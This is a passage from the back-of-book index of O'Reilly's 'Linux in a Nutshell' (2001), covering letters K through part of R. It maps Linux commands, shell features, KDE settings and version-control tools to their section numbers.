join command (ex): 11.13. Alphabetical Summary of ex Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: K (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: K

k command (ex): 11.13. Alphabetical Summary of ex Commands
kbd_mode command: 3.1. Alphabetical Summary of Commands
kbdrate command: 3.1. Alphabetical Summary of Commands
KDE (K Desktop Environment): 16. KDE
application windows: 16.1.1. Application Windows
border properties, setting: 16.3.2.2. Borders
color schemes, selecting: 16.3.2.3. Colors
Control Center: 16.3. The KDE Control Center
Applications modules: 16.3.1. Applications
Desktop modules: 16.3.2. Desktop
Information modules: 16.3.3. Information
Input Devices modules: 16.3.4. Input Devices
Keyboard Shortcuts modules: 16.3.5. Keyboard Shortcuts
Sound modules: 16.3.6. Sound
Window Behavior modules: 16.3.7. Window Behavior
Desktop folder: 16.1.4. The Desktop Folder and kdelnk Files
desktop icons
and links: 16.1. Desktop Overview
displaying: 16.3.2.5. Desktop icons
desktop pager: 16.2.1. The Desktop Pager and Window List
font settings: 16.3.2.4. Fonts
installing: 16. KDE
keyboard settings: 16.3.4. Input Devices
16.3.4.1. Keyboard
16.3.7.1. Advanced
kfm (KDE file manager): 16.1.2. kfm--the KDE File Manager
configuration settings for: 16.3.1.2. File manager
cookie management: 16.3.1.3. Web browser
disk navigator and: 16.3.1.4. Panel
web browsing functionality: 16.3.1.3. Web browser
kwm (KDE window manager): 16.2.1. The Desktop Pager and Window List
language settings: 16.3.2.8. Language
login manager: 16.3.1.1. Login manager (root only)
mouse settings: 16.3.4. Input Devices
16.3.4.2. Mouse
16.3.7.3. Mouse
panel: 16.2. The Panel and Taskbar
adding application links to: 16.2.3. Adding an Application Link to the Panel
configuration settings for: 16.3.1.4. Panel
running applications on: 16.2.4. Running an Application on the Panel
screensavers: 16.3.2.9. Screensaver
taskbar: 16.2.2. The Taskbar
theme manager: 16.3.2.7. Theme manager
titlebars: 16.3.7. Window Behavior
tooltips, displaying: 16.3.1.4. Panel
virtual desktops: 16.2.1. The Desktop Pager and Window List
16.3.1.4. Panel
window focus settings: 16.3.7.4. Properties
window list: 16.2.1. The Desktop Pager and Window List
.kdelnk files: 16.1.4. The Desktop Folder and kdelnk Files
disk navigator and: 16.3.1.4. Panel
Kerberos 4 server repository locator: 14.4.1. Repository Locators
kernels: 1.1. The Excitement of Linux
administration commands for: 2.1.8. Managing the Kernel
boot-time options: 4.5. Boot-time Kernel Options
IP firewalling/masquerading: 2.4. Overview of Firewalls and Masquerading
ipfwadm and: 3.1. Alphabetical Summary of Commands
iptables and: 3.1. Alphabetical Summary of Commands
modular: 4.6. initrd: Using a RAM Disk
printing exported symbols: 3.1. Alphabetical Summary of Commands
setting video mode: 3.1. Alphabetical Summary of Commands
key bindings: 7.7. Built-in Commands
key mappings, KDE: 16.3.5.1. Global keys
keyboard
dumpkeys command: 3.1. Alphabetical Summary of Commands
GNOME settings: 15.4.5.1. Keyboard
KDE settings: 16.3.4.1. Keyboard
16.3.7.1. Advanced
key repeat speed: 3.1. Alphabetical Summary of Commands
mode: 3.1. Alphabetical Summary of Commands
shortcuts (see shortcuts)
Keyboard Shortcuts modules, KDE: 16.3.5. Keyboard Shortcuts
keyword substitutions, CVS: 14.4.6.2. Keyword substitutions
keywords, RCS: 14.8.1. Keyword Substitution
kfm (KDE file manager) (see KDE, kfm)
kill command: 3.1. Alphabetical Summary of Commands
kill command (bash): 7.7. Built-in Commands
kill command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
killall command: 3.1. Alphabetical Summary of Commands
killing processes: 3.1. Alphabetical Summary of Commands
klogd command: 3.1. Alphabetical Summary of Commands
kpanel program: 16.2. The Panel and Taskbar
ksyms command: 3.1. Alphabetical Summary of Commands
kwm (KDE window manager): 16.2.1. The Desktop Pager and Window List

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: L (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: L

l command (sed): 12.5. Alphabetical Summary of sed Commands
language settings, KDE: 16.3.2.8. Language
last keyword: 3.1. Alphabetical Summary of Commands
lastlog command: 3.1. Alphabetical Summary of Commands
launcher icons
adding applications to GNOME panel: 15.2.2. Adding an Application Launcher to the Panel
adding to GNOME desktop: 15.1.1. Adding Desktop Icons
ld (link editor): 3.1. Alphabetical Summary of Commands
ldconfig command: 3.1. Alphabetical Summary of Commands
ldd command: 3.1. Alphabetical Summary of Commands
length command (gawk): 13.8. Alphabetical Summary of Commands
less command: 3.1. Alphabetical Summary of Commands
let command (bash): 7.7. Built-in Commands
lgn command (CVS) (see login command (CVS))
libraries
generating: 3.1. Alphabetical Summary of Commands
linking with: 3.1. Alphabetical Summary of Commands
viewing contents of: 3.1. Alphabetical Summary of Commands
licenses: 1.5. Sources and Licenses
lilo command: 4.2. LILO: The Linux Loader
options: 4.2.2. The lilo Command
LILO (Linux Loader): 1.4. What This Book Offers
4.2. LILO: The Linux Loader
configuration file: 4.2.1. The LILO Configuration File
global options: 4.2.1.1. Global options
image options: 4.2.1.2. Image options
kernel options: 4.2.1.3. Kernel options
limit command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
line addresses (ex): 11.12.1. Options
line-edit mode (bash): 7.6.1. Line-Edit Mode
lines, text
breaking: 3.1. Alphabetical Summary of Commands
comparing: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
counting: 3.1. Alphabetical Summary of Commands
merging into columns: 3.1. Alphabetical Summary of Commands
printing: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
removing duplicate: 3.1. Alphabetical Summary of Commands
searching: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
links (see symbolic links)
links, desktop (see desktop links)
Linux
commands: 1.3. Commands on Linux
1.6. Beginner's Guide
dual booting with Windows systems: 4.2. LILO: The Linux Loader
4.4. Dual Booting Linux and Windows NT/2001
history of: 1. Introduction
source code: 1.5. Sources and Licenses
Linux Documentation Project: 0.1.1. Online Documentation
Linux Journal: 0.1.2. Linux Journal and Linux Magazine
Linux Magazine: 0.1.2. Linux Journal and Linux Magazine
Linux User Groups (LUG): 0.1.5. Linux User Groups
list command (ex): 11.13. Alphabetical Summary of ex Commands
listflags variable (csh/tcsh): 8.4.3. Predefined Shell Variables
listjobs variable (csh/tcsh): 8.4.3. Predefined Shell Variables
listlinks variable (csh/tcsh): 8.4.3. Predefined Shell Variables
listmax variable (csh/tcsh): 8.4.3. Predefined Shell Variables
listmaxrows variable (csh/tcsh): 8.4.3. Predefined Shell Variables
ln command: 3.1. Alphabetical Summary of Commands
lo command (CVS) (see log command (CVS))
load, system (see performance)
loaders, boot: 4.1. The Boot Process
loading modules: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
unloading: 3.1. Alphabetical Summary of Commands
Loadlin: 1.4. What This Book Offers
booting from MS-DOS: 4.3. Loadlin: Booting from MS-DOS
options: 4.3.2. Putting Parameters on the Command Line
local command (bash): 7.7. Built-in Commands
local repository locator: 14.4.1. Repository Locators
locate command: 3.1. Alphabetical Summary of Commands
$Locker keyword (RCS): 14.8.1.1. Keywords
lockfile command: 3.1. Alphabetical Summary of Commands
locking model, CVS/RCS utilities: 14.1.1. Locking and Merging
log command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
log command (CVS): 14.4.7.12. log
date range specifications: 14.4.7.12. log
log command (gawk): 13.8. Alphabetical Summary of Commands
log files, rotating: 3.1. Alphabetical Summary of Commands
logged-in users, report on: 3.1. Alphabetical Summary of Commands
logger command (TCP/IP): 3.1. Alphabetical Summary of Commands
logging in: 3.1. Alphabetical Summary of Commands
logical modules (CVS): 14.3.3.9. The modules file
logical operators: 3.1. Alphabetical Summary of Commands
login command: 3.1. Alphabetical Summary of Commands
login command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
login command (CVS): 14.4.7.13. login
login manager, KDE: 16.3.1.1. Login manager (root only)
login shell (see shells)
loginfo file (CVS): 14.3.3.8. The loginfo file
14.3.3.8. The loginfo file
(see also commitinfo file)
logname command: 3.1. Alphabetical Summary of Commands
logon command (CVS) (see login command (CVS))
logout command (bash): 7.7. Built-in Commands
logout command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
logout command (CVS): 14.4.7.14. logout
logrotate command: 3.1. Alphabetical Summary of Commands
look command: 3.1. Alphabetical Summary of Commands
loops: 7.7. Built-in Commands
7.7. Built-in Commands
lowercase (see case)
lpc command: 3.1. Alphabetical Summary of Commands
lpd daemon: 3.1. Alphabetical Summary of Commands
lpq command: 3.1. Alphabetical Summary of Commands
lpr command: 3.1. Alphabetical Summary of Commands
lprm command: 3.1. Alphabetical Summary of Commands
lpstat command: 3.1. Alphabetical Summary of Commands
lptest command: 3.1. Alphabetical Summary of Commands
ls command: 3.1. Alphabetical Summary of Commands
ls-F command (tcsh): 8.9. Built-in csh and tcsh Commands
lsattr command: 3.1. Alphabetical Summary of Commands
lsmod command: 3.1. Alphabetical Summary of Commands
LUG (Linux User Groups): 0.1.5. Linux User Groups

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: M (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: M

M- commands, Emacs: 10.4.2. Meta-Key Sequences
m4 processor: 3.1. Alphabetical Summary of Commands
machine
architecture type: 3.1. Alphabetical Summary of Commands
remote (see remote)
uptime for: 3.1. Alphabetical Summary of Commands
macros
ctags command: 3.1. Alphabetical Summary of Commands
Emacs commands: 10.3.15. Macro Commands
m4 processor: 3.1. Alphabetical Summary of Commands
make utility: 3.1. Alphabetical Summary of Commands
vi commands for: 11.9. Macros
magic file: 3.1. Alphabetical Summary of Commands
mail: 3.1. Alphabetical Summary of Commands
administration commands for: 2.1.6. Mail
bash shell variables for: 7.4.2. Built-in Shell Variables
filtering stdin to mailbox format: 3.1. Alphabetical Summary of Commands
notifying user of incoming: 3.1. Alphabetical Summary of Commands
printing aliases: 3.1. Alphabetical Summary of Commands
remote: 3.1. Alphabetical Summary of Commands
retrieving from mail servers: 3.1. Alphabetical Summary of Commands
mail variable (csh/tcsh): 8.4.3. Predefined Shell Variables
mailq command: 3.1. Alphabetical Summary of Commands
.mailrc file: 3.1. Alphabetical Summary of Commands
mailstats command: 3.1. Alphabetical Summary of Commands
main menu, GNOME: 15.3. The Main Menu
make utility: 3.1. Alphabetical Summary of Commands
imake interface: 3.1. Alphabetical Summary of Commands
makedbm command: 3.1. Alphabetical Summary of Commands
makedepend utility (imake): 3.1. Alphabetical Summary of Commands
makemap command: 3.1. Alphabetical Summary of Commands
man command: 3.1. Alphabetical Summary of Commands
man pages: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
(see also documentation)
searching: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
managers, package: 5. Red Hat and Debian Package Managers
manpath command: 3.1. Alphabetical Summary of Commands
map command (ex): 11.13. Alphabetical Summary of ex Commands
maps, NIS: 2.6.3. NIS Maps
3.1. Alphabetical Summary of Commands
mark command (ex): 11.13. Alphabetical Summary of ex Commands
masquerading: 2.4. Overview of Firewalls and Masquerading
ipchains and: 3.1. Alphabetical Summary of Commands
ipfwadm and: 3.1. Alphabetical Summary of Commands
iptables and: 3.1. Alphabetical Summary of Commands
master boot records (MBRs): 4.1. The Boot Process
match command (gawk): 13.8. Alphabetical Summary of Commands
matchbeep variable (csh/tcsh): 8.4.3. Predefined Shell Variables
MDI (Multiple Document Interface) and GNOME: 15.4.7.3. MDI
memory: 3.1. Alphabetical Summary of Commands
disk usage: 3.1. Alphabetical Summary of Commands
free disk space: 3.1. Alphabetical Summary of Commands
menu editor, GNOME: 15.3.2. Editing the Menu
menu panel, GNOME desktop: 15.2.1. Additional Panels
menu settings, GNOME panel: 15.4.2.4. Menu
merge command: 3.1. Alphabetical Summary of Commands
merging model, CVS utility: 14.1.1. Locking and Merging
mesg command: 3.1. Alphabetical Summary of Commands
messages
sending to all users on host: 3.1. Alphabetical Summary of Commands
system: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
to terminals: 3.1. Alphabetical Summary of Commands
writing to all users: 3.1. Alphabetical Summary of Commands
metacharacters: 9.1. Filenames Versus Patterns
9.2. Metacharacters, Listed by Linux Program
filename matching: 8.3.2. Filename Metacharacters
9.1. Filenames Versus Patterns
mime types, setting (GNOME): 15.4.3.2. Mime types
mimencode command: 3.1. Alphabetical Summary of Commands
MINIX filesystems: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
mkdir command: 3.1. Alphabetical Summary of Commands
mkdirhier utility (imake): 3.1. Alphabetical Summary of Commands
mke2fs command: 3.1. Alphabetical Summary of Commands
mkexrc command (ex): 11.13. Alphabetical Summary of ex Commands
mkfs command: 3.1. Alphabetical Summary of Commands
mkfs.minix command: 3.1. Alphabetical Summary of Commands
mklost+found command: 3.1. Alphabetical Summary of Commands
mkraid command: 3.1. Alphabetical Summary of Commands
mkswap command: 3.1. Alphabetical Summary of Commands
mmencode command: 3.1. Alphabetical Summary of Commands
modes, Emacs: 10.2.2. Modes
modprobe command: 3.1. Alphabetical Summary of Commands
modular kernels: 4.6. initrd: Using a RAM Disk
modules
fvwm2 window manager: 17.3. A Modular Approach
KDE Control Center: 16.3. The KDE Control Center
listing: 3.1. Alphabetical Summary of Commands
loading: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
unloading: 3.1. Alphabetical Summary of Commands
modules file (CVS): 14.3.3.9. The modules file
more command: 3.1. Alphabetical Summary of Commands
mount command: 3.1. Alphabetical Summary of Commands
mounting filesystems: 2.5.4. Mounting Filesystems
3.1. Alphabetical Summary of Commands
unmounting: 3.1. Alphabetical Summary of Commands
mouse
GNOME settings: 15.4.5.2. Mouse
KDE settings: 16.3.4.2. Mouse
16.3.7.3. Mouse
move command (ex): 11.13. Alphabetical Summary of ex Commands
movement commands
Emacs: 10.3.2. Cursor Movement Commands
vi: 11.4. Movement Commands
multimedia settings, GNOME: 15.4.4. Multimedia
mv command: 3.1. Alphabetical Summary of Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: N (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: N

n command (sed): 12.5. Alphabetical Summary of sed Commands
name service: 2.3.3. Name Service
named daemon: 3.1. Alphabetical Summary of Commands
namei command: 3.1. Alphabetical Summary of Commands
names
creating file pseudonyms: 3.1. Alphabetical Summary of Commands
ctags command: 3.1. Alphabetical Summary of Commands
domain names: 2.3.3.2. Domain names
files and directories: 3.1. Alphabetical Summary of Commands
hostnames: 3.1. Alphabetical Summary of Commands
of Emacs commands::Emacs commands: 10.5. Summary of Commands by Name
usernames: 3.1. Alphabetical Summary of Commands
netdate command (TCP/IP): 3.1. Alphabetical Summary of Commands
netfilter filtering rules: 3.1. Alphabetical Summary of Commands
netstat command (TCP/IP): 3.1. Alphabetical Summary of Commands
networking: 2.2. Overview of Networking
administration commands for: 2.1.9. Networking
firewalls and masquerading: 2.4. Overview of Firewalls and Masquerading
ipchains and: 3.1. Alphabetical Summary of Commands
ipfwadm and: 3.1. Alphabetical Summary of Commands
iptables and: 3.1. Alphabetical Summary of Commands
getting network status: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
TCP/IP: 2.3. Overview of TCP/IP
new command (CVS) (see ad|add commands (CVS))
newgrp command: 3.1. Alphabetical Summary of Commands
newgrp command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
newsgroups, Usenet: 0.1.3. LinuxUsenet Newsgroups
newusers command: 3.1. Alphabetical Summary of Commands
next command (ex): 11.13. Alphabetical Summary of ex Commands
next command (gawk): 13.8. Alphabetical Summary of Commands
nextfile command (gawk): 13.8. Alphabetical Summary of Commands
NFS (Network File System): 2.5. Overview of NFS
nice command: 3.1. Alphabetical Summary of Commands
nice command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
NIS (Network Information Service): 2.6. Overview of NIS
administration commands for: 2.1.10. NIS Administration
commands: 3.1. Alphabetical Summary of Commands
nm command: 3.1. Alphabetical Summary of Commands
noglob variable (csh/tcsh): 8.4.3. Predefined Shell Variables
nohup command: 3.1. Alphabetical Summary of Commands
nohup command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
nonomatch variable (csh/tcsh): 8.4.3. Predefined Shell Variables
notification of incoming mail: 3.1. Alphabetical Summary of Commands
notify command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
notify file (CVS): 14.3.3.10. The notify file
Notify files (CVS): 14.4.4.3. CVS directories
nslookup utility (TCP/IP): 3.1. Alphabetical Summary of Commands
number command (ex): 11.13. Alphabetical Summary of ex Commands
numbering revisions (RCS): 14.8.2. Revision Numbering
numbers
bash arithmetic expressions: 7.5. Arithmetic Expressions
bc language for: 3.1. Alphabetical Summary of Commands
evaluating expressions: 3.1. Alphabetical Summary of Commands
line numbers/addresses: 11.4.5.1. Line numbering
11.12.1. Options
octal, for permissions: 3.1. Alphabetical Summary of Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: O (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: O

obase keyword: 3.1. Alphabetical Summary of Commands
object files
generating: 3.1. Alphabetical Summary of Commands
profile data: 3.1. Alphabetical Summary of Commands
size of: 3.1. Alphabetical Summary of Commands
symbol table for: 3.1. Alphabetical Summary of Commands
octal numbers for permissions: 3.1. Alphabetical Summary of Commands
onintr command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
online documentation (see man pages)
online help: 0.1.4. Online Linux Support
open command (ex): 11.13. Alphabetical Summary of ex Commands
OpenProjects IRC network: 0.1.4. Online Linux Support
operators: 3.1. Alphabetical Summary of Commands
bash shell: 7.4.1. Variable Substitution
7.5.1. Operators
bc language: 3.1. Alphabetical Summary of Commands
csh and tcsh: 8.5.1. Operators
gawk scripting language: 13.5. Operators
ORBit package and GNOME: 15. GNOME
output
echo command (bash): 7.7. Built-in Commands
paging through: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
printing files to stdout: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
redirection (see redirection)
tee command: 3.1. Alphabetical Summary of Commands
terminal I/O options: 3.1. Alphabetical Summary of Commands
translating stdin to stdout: 3.1. Alphabetical Summary of Commands
owd variable (csh/tcsh): 8.4.3. Predefined Shell Variables
ownership, file: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
(see also permissions, file)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: P (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: P

p command (sed): 12.5. Alphabetical Summary of sed Commands
pa|patch commands (CVS) (see rdiff command (CVS))
package flags: 5.2.3. Package Flags
package managers: 5. Red Hat and Debian Package Managers
packaging tools, Debian: 5.2. The Debian Package Manager
Pager module, fvwm2: 17.3. A Modular Approach
multiple desktops, specifying: 17.9. Having Multiple Desktops
panel, KDE (see KDE, panel)
Panel menu, GNOME: 15.2.1. Additional Panels
15.3. The Main Menu
panels, GNOME (see GNOME, panels)
paragraphs, Emacs and: 10.3.4. Paragraphs and Regions
10.3.13. Indentation Commands
parameter files, Loadlin: 4.3.1. Using a Parameter File
parameters
boot: 4.3. Loadlin: Booting from MS-DOS
4.5. Boot-time Kernel Options
disk: 4.2.1.1. Global options
partitioning disks: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
passwd file (CVS): 14.3.3.11. The passwd file
password server (CVS) (see pserver)
passwords: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
paste command: 3.1. Alphabetical Summary of Commands
patch command: 3.1. Alphabetical Summary of Commands
path
current working directory: 3.1. Alphabetical Summary of Commands
man page: 3.1. Alphabetical Summary of Commands
$PATH environment variable (CVS): 14.4.2. Configuring CVS
pathchk command: 3.1. Alphabetical Summary of Commands
pattern addressing (sed): 12.3.1. Pattern Addressing
pattern-matching: 7.4.1. Variable Substitution
9. Pattern Matching
bash operators for: 7.4.1. Variable Substitution
gawk language and: 13.3.1. Patterns
patterns, filename (see filename patterns)
PCMCIA sockets, controlling: 3.1. Alphabetical Summary of Commands
pending jobs (see jobs)
performance
CPU load: 3.1. Alphabetical Summary of Commands
graphing system load average: 3.1. Alphabetical Summary of Commands
setting keyboard repeat speed: 3.1. Alphabetical Summary of Commands
Perl
language: 3.1. Alphabetical Summary of Commands
scripts: 5.2.4. Scripts
permissions, file
changing: 3.1. Alphabetical Summary of Commands
file ownership: 3.1. Alphabetical Summary of Commands
groups: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
octal numbers for: 3.1. Alphabetical Summary of Commands
pidof command: 3.1. Alphabetical Summary of Commands
PIDs (process identifiers): 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
ping command: 3.1. Alphabetical Summary of Commands
pinging hosts: 3.1. Alphabetical Summary of Commands
.plan file: 3.1. Alphabetical Summary of Commands
plus sign (+) pattern-matching metacharacter: 9.3. Metacharacters
pointer focus model, fvwm2: 17.6. Specifying Click-to-Type Focus
pointer, moving with keystrokes (fvwm2): 17.13.2. Moving the Pointer with Keystrokes
popd command (bash): 7.7. Built-in Commands
popd command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
POSIX character lists: 9.3. Metacharacters
power management system, KDE: 16.3.2.6. DPMS
powerd daemon: 3.1. Alphabetical Summary of Commands
PPP (Point-to-Point Protocol): 2.3.4.2. Serial-line communication
3.1. Alphabetical Summary of Commands
pppd daemon: 3.1. Alphabetical Summary of Commands
pr command: 3.1. Alphabetical Summary of Commands
praliases command: 3.1. Alphabetical Summary of Commands
preserve command (ex): 11.13. Alphabetical Summary of ex Commands
previous command (ex): 11.13. Alphabetical Summary of ex Commands
print command (ex): 11.13. Alphabetical Summary of ex Commands
print command (gawk): 13.8. Alphabetical Summary of Commands
printenv command: 3.1. Alphabetical Summary of Commands
printenv command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
printexitvalue variable (csh/tcsh): 8.4.3. Predefined Shell Variables
printf command: 3.1. Alphabetical Summary of Commands
printf command (bash): 7.7. Built-in Commands
printf command (gawk): 13.8. Alphabetical Summary of Commands
printing: 2.1.11. Printing
3.1. Alphabetical Summary of Commands
banner, output as: 3.1. Alphabetical Summary of Commands
environment variable values: 3.1. Alphabetical Summary of Commands
files to standard output: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
lpd daemon: 3.1. Alphabetical Summary of Commands
queue, status of: 3.1. Alphabetical Summary of Commands
strings: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
test patterns: 3.1. Alphabetical Summary of Commands
tuning: 3.1. Alphabetical Summary of Commands
printing commands: 1.6.4. Printing
PRIO_MAX, PRIO_MIX variables: 3.1. Alphabetical Summary of Commands
priority, message: 3.1. Alphabetical Summary of Commands
priority, process: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
procedures, gawk language and: 13.3.2. Procedures
processes: 3.1. Alphabetical Summary of Commands
coprocesses (bash): 7.3.7. Coprocesses
exec command: 7.7. Built-in Commands
halting: 3.1. Alphabetical Summary of Commands
identifiers (PIDs): 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
identifying by file or filesystem: 3.1. Alphabetical Summary of Commands
killing: 3.1. Alphabetical Summary of Commands
management commands for: 2.1.14. System Activity and Process Management
priority: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
viewing most CPU-intensive: 3.1. Alphabetical Summary of Commands
profile data, object file: 3.1. Alphabetical Summary of Commands
program maintenance commands: 1.6.6. Program Maintenance
programming commands: 1.6.5. Programming
programs
debugging (see debugging)
shell scripts: 6.1.3. Programming
.project file: 3.1. Alphabetical Summary of Commands
prompt
customization: 7.6.4. Variables in Prompt
formatting (tcsh): 8.4.4. Formatting for the Prompt Variable
prompt2, prompt3 variables (csh/tcsh): 8.4.3. Predefined Shell Variables
promptchars variable (csh/tcsh): 8.4.3. Predefined Shell Variables
protocols, TCP/IP: 2.3. Overview of TCP/IP
2.3.2.1. Gateway protocols
ps command: 3.1. Alphabetical Summary of Commands
pserver (CVS): 14.3.8.3. pserver
14.4.1. Repository Locators
accessing repositories: 14.3.3.11. The passwd file
14.3.6. Using an Interim Shared Sandbox
configuring: 14.3.1.1. Setting up the password server
security issues: 14.3.2. Security Issues
pseudonyms for files (see symbolic links)
psupdate command: 3.1. Alphabetical Summary of Commands
pushd command (bash): 7.7. Built-in Commands
pushd command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
pushdsilent variable (csh/tcsh): 8.4.3. Predefined Shell Variables
pushdtohome variable (csh/tcsh): 8.4.3. Predefined Shell Variables
put command (ex): 11.13. Alphabetical Summary of ex Commands
PVCS, importing files from: 14.3.5.4. Importing from PVCS
pwck command: 3.1. Alphabetical Summary of Commands
pwconv command: 3.1. Alphabetical Summary of Commands
pwd command: 3.1. Alphabetical Summary of Commands
pwd command (bash): 7.7. Built-in Commands

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: Q (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: Q

q command (sed): 12.5. Alphabetical Summary of sed Commands
question mark (see ? (question mark))
queue
job (see jobs)
print (see printing)
quit command (ex): 11.13. Alphabetical Summary of ex Commands
quitting
Emacs commands for: 10.3.5. Stopping and Undoing Commands
vi commands for: 11.6. Saving and Exiting
quoting: 7.3.4. Quoting
8.3.3. Quoting

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Library Navigation Links

Copyright © 2001 O'Reilly & Associates, Inc. All Rights Reserved.


Index: R (Linux in a Nutshell)

Linux in a NutshellSearch this book

Index: R

r command (sed): 12.5. Alphabetical Summary of sed Commands
RAID devices
setting up: 3.1. Alphabetical Summary of Commands
starting/stopping: 3.1. Alphabetical Summary of Commands
raidstart command: 3.1. Alphabetical Summary of Commands
raidstop command: 3.1. Alphabetical Summary of Commands
RAM disks and initrd: 4.6. initrd: Using a RAM Disk
ramsize command: 3.1. Alphabetical Summary of Commands
rand command (gawk): 13.8. Alphabetical Summary of Commands
ranlib command: 3.1. Alphabetical Summary of Commands
rarp command: 3.1. Alphabetical Summary of Commands
rcp command: 3.1. Alphabetical Summary of Commands
rcs command (CVS) (see adm|admin commands (CVS))
rcs command (RCS): 14.9. Alphabetical Summary of RCS Commands
RCS utility: 1.4. What This Book Offers
14.5. The RCS Utility
basic concepts: 14.1. Basic Concepts
creating subdirectory: 14.7. Basic RCS Operations
importing files into CVS: 14.3.5.2. Importing from RCS
keyword substitution: 14.8.1. Keyword Substitution
locking model: 14.1.1. Locking and Merging
revision numbering: 14.8.2. Revision Numbering
$RCSBIN environment variable (CVS): 14.4.2. Configuring CVS
rcsclean command (RCS): 14.9. Alphabetical Summary of RCS Commands
rcsdiff command (RCS): 14.7. Basic RCS Operations
14.9. Alphabetical Summary of RCS Commands
$RCSfile keyword (RCS): 14.8.1.1. Keywords
rcsinfo file (CVS): 14.3.3.12. The rcsinfo file
RCSINIT environment variable (RCS): 14.8.5. Standard Options and Environment Variables
rcsmerge command (RCS): 14.9. Alphabetical Summary of RCS Commands
rdate command (TCP/IP): 3.1. Alphabetical Summary of Commands
rdev command: 3.1. Alphabetical Summary of Commands
rdiff command (CVS): 14.4.7.15. rdiff
rdist command: 3.1. Alphabetical Summary of Commands
rdistd daemon: 3.1. Alphabetical Summary of Commands
re|rel commands (CVS) (see release command (CVS))
read command (bash): 7.7. Built-in Commands
read command (ex): 11.13. Alphabetical Summary of ex Commands
read permissions (see permissions, file)
readers file (CVS): 14.3.3.13. The readers file
readonly command (bash): 7.7. Built-in Commands
reboot command: 3.1. Alphabetical Summary of Commands
recexact variable (csh/tcsh): 8.4.3. Predefined Shell Variables
recognize_only_executables variable (csh/tcsh): 8.4.3. Predefined Shell Variables
recover command (ex): 11.13. Alphabetical Summary of ex Commands
Red Hat Package Manager (RPM): 3.1. Alphabetical Summary of Commands
5.1. The Red Hat Package Manager
GNOME-RPM: 5.1.2. GNOME-RPM
rpm command (see rpm command)
redirection
bash shell and: 7.3.6. Redirection Forms
csh and tcsh: 8.3.5. Redirection Forms
regions, Emacs and: 10.3.4. Paragraphs and Regions
regular expressions: 7.4.1. Variable Substitution
(see also pattern-matching)
searching file contents: 3.1. Alphabetical Summary of Commands
3.1. Alphabetical Summary of Commands
regular modules: 14.3.3.9. The modules file
rehash command (csh/tcsh): 8.9. Built-in csh and tcsh Commands
release command (CVS): 14.4.7.16. release
remote
access (see telnet)
command execution: 3.1. Alphabetical Summary of Commands
